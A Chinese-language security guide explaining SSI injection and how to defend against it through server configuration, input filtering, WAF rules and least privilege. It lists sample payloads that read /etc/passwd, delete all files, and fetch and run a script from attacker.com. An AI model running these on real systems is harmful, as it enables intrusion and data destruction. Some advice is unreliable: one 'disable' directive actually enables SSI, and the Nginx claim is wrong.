SSI注入是一种服务器端注入攻击,攻击者通过在网页中嵌入特殊的SSI(Server Side Includes)指令,比如<!--#exec cmd="..."-->或<!--#include file="..."-->,让服务器执行任意命令或读取敏感文件。最直接、最有效的防护方式就是在Web服务器层面彻底禁用SSI功能,或者对所有用户输入进行严格过滤,确保任何包含指令的字符序列都无法被解析执行。下面我会从原理、风险、具体配置方法、代码层面的过滤策略以及纵深防御体系,把这个问题一次性讲透。

什么是SSI注入,为什么它很危险

SSI是一种早期的服务器端技术,允许在HTML页面中嵌入简单的指令,让服务器在返回页面之前动态处理内容。比如你可以用<!--#echo var="DATE_LOCAL"-->显示当前时间,或者用<!--#include virtual="/footer.html"-->引入公共页脚。这些指令本身是合法功能,但问题在于,如果用户输入的内容被直接拼接到页面中,并且服务器没有做任何校验,攻击者就可以构造恶意的SSI指令,让服务器执行系统命令、读取/etc/passwd文件、甚至反弹shell。这种攻击不需要数据库,不需要复杂的漏洞利用链,只要服务器开启了SSI解析且没有过滤,一条URL参数就能完成攻击。

SSI注入的常见攻击载荷形式

攻击者通常会在URL参数、表单字段、HTTP头甚至Cookie中注入以下类型的内容:

<!--#exec cmd="cat /etc/passwd"-->
<!--#include file="/etc/passwd"-->
<!--#exec cmd="rm -rf /"-->
<!--#exec cmd="wget http://attacker.com/shell.sh -O /tmp/s.sh && sh /tmp/s.sh"-->

如果服务器解析了这些内容,后果不堪设想。特别是在共享主机环境、老旧的Apache服务器、或者运维人员为了方便开启了SSI但没有做访问控制的场景下,这种漏洞非常普遍。

方法一:直接禁用SSI功能——最彻底的方案

如果你的业务根本不需要SSI功能,那就直接关掉它,这是零风险的做法。不同的Web服务器有不同的禁用方式。

对于Apache服务器,SSI功能由mod_include模块提供。你需要找到主配置文件httpd.conf或者对应站点的虚拟主机配置文件,搜索Includes相关指令并将其关闭:

# 禁用SSI的几种方式
# 方式1:注释掉或删除LoadModule include_module
# LoadModule include_module modules/mod_include.so

# 方式2:在目录配置中明确禁止
<Directory "/var/www/html">
    Options -Includes
    # 或者更严格
    Options -Includes -IncludesNOEXEC
</Directory>

# 方式3:针对特定文件类型禁用
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml

如果你用的是Nginx,情况更简单——Nginx本身不支持SSI(虽然有第三方模块,但默认没有),所以只要不主动安装和配置ngx_http_ssi_module,就天然免疫SSI注入。但要注意,如果你在Nginx前面套了Apache做反向代理,那Apache那边的SSI仍然需要处理。

对于IIS服务器,需要在IIS管理器中找到"SSI文档"功能,直接将其禁用。或者在web.config中配置:

<configuration>
  <system.webServer>
    <handlers>
      <remove name="SSINC-shtml" />
    </handlers>
  </system.webServer>
</configuration>

方法二:严格过滤用户输入——当你必须使用SSI时

有些场景下你确实需要SSI,比如静态站点需要动态显示日期、引入公共模板等。这时候你不能简单禁用,而必须对所有可能被用户控制的输入做严格过滤。核心原则是:绝不允许用户输入中出现SSI指令的起始标记<!--#和结束标记-->,同时过滤掉exec、include、config、echo、fsize、flastmod等所有SSI指令关键字。

在应用层代码中,你可以用正则表达式做白名单过滤。以下是一个PHP示例:

<?php
function sanitizeSSIInput($input) {
    // 移除所有SSI指令标记
    $input = preg_replace('/<!--#/i', '', $input);
    $input = preg_replace('/-->/i', '', $input);
    
    // 过滤SSI关键字
    $ssiKeywords = array('exec', 'include', 'config', 'echo', 'fsize', 'flastmod', 'printenv');
    foreach ($ssiKeywords as $keyword) {
        $input = preg_replace('/' . $keyword . '/i', '', $input);
    }
    
    // 过滤危险的系统命令字符
    $input = preg_replace('/[;&|`$\(\)]/', '', $input);
    
    // HTML实体编码,防止XSS联动
    $input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    
    return $input;
}

// 使用示例
$userInput = $_GET['comment'];
$safeInput = sanitizeSSIInput($userInput);
echo $safeInput;
?>

在Java/Spring框架中,可以用过滤器(Filter)统一处理:

@Component
public class SSIInputFilter implements Filter {
    private static final Pattern SSI_PATTERN = 
        Pattern.compile("(<!--#|-->|exec|include|config|echo|fsize|flastmod|printenv)", 
                        Pattern.CASE_INSENSITIVE);
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, 
                         FilterChain chain) throws IOException, ServletException {
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        String query = httpRequest.getQueryString();
        if (query != null && SSI_PATTERN.matcher(query).find()) {
            throw new ServletException("Potential SSI injection detected");
        }
        chain.doFilter(request, response);
    }
}

方法三:使用WAF规则进行拦截

Web应用防火墙(WAF)可以在流量层面拦截SSI注入尝试。常见的规则包括匹配<!--#exec、<!--#include等特征字符串。如果你使用的是开源WAF如ModSecurity,可以添加以下规则:

SecRule REQUEST_URI|ARGS|REQUEST_BODY "@rx <!--#" \
    "id:100001,phase:1,deny,status:403,log,\
    msg:'SSI Injection Attempt Detected'"

SecRule REQUEST_URI|ARGS|REQUEST_BODY "@rx (exec|include|config)\s+cmd=" \
    "id:100002,phase:1,deny,status:403,log,\
    msg:'SSI Command Injection Detected'"

WAF的优势在于它不需要修改应用代码,适合已经上线的系统快速加固。但要注意,WAF规则可能被绕过,比如通过编码、分块传输等方式,所以不能只依赖WAF。

纵深防御:不要只靠一层防护

真正安全的做法是多层叠加。第一层,服务器配置层面禁用或限制SSI;第二层,应用代码层面过滤输入;第三层,WAF层面拦截异常请求;第四层,最小权限原则——Web服务进程不应该以root运行,应该用低权限用户运行,这样即使SSI被利用,攻击者能做的事情也非常有限。

具体来说,你应该:

1. Web服务进程使用专用的低权限用户,比如www-data或nobody,禁止该用户执行sudo,禁止写入关键目录。

2. 文件系统层面,对Web根目录设置严格的读写权限,只允许必要的目录可写,且禁止在可写目录中执行脚本。

3. 定期审计服务器配置,检查是否有意外开启的SSI、CGI、PHP等动态执行功能。

4. 开启服务器访问日志和安全审计日志,对包含<!--#的请求进行监控告警。

常见误区和容易忽略的点

很多人以为只要不用.shtml后缀就安全了,这是错误的。Apache可以通过XBitHack指令让普通的.html文件也执行SSI,只要文件有执行权限。所以禁用SSI不能只看文件后缀,要从模块和目录选项层面彻底关闭。

还有人觉得过滤了<!--#就够了,但攻击者可以用各种编码绕过,比如URL编码、HTML实体编码、Unicode编码等。所以过滤函数要先解码再过滤,而且要做多轮处理。

另外,SSI注入经常和其他漏洞组合使用。比如先通过文件上传漏洞把恶意.shtml文件放到服务器上,再通过SSI执行。所以文件上传功能也要严格限制类型和存储路径。

如何验证你的防护是否生效

配置完成后,你需要主动测试。用curl或者浏览器发送包含SSI指令的请求,比如:

curl "http://your-site.com/page.html?param=<!--#exec%20cmd='id'-->"

如果返回的页面中显示了执行结果(比如uid=33(www-data)),说明防护没生效。如果返回的是原始字符串或者403错误,说明防护有效。建议用自动化扫描工具定期做安全检测,确保没有配置回退。

总结

SSI注入虽然是一种相对老旧的攻击方式,但在很多遗留系统和配置不当的服务器上依然存在真实风险。最推荐的做法是直接禁用SSI模块,如果业务需要则必须在输入层做严格的白名单过滤,同时配合WAF、最小权限、日志监控形成完整的防护体系。安全不是单点突破,而是层层设防。把每一层都做扎实,才能真正堵住SSI注入这个看似简单却危害不小的漏洞。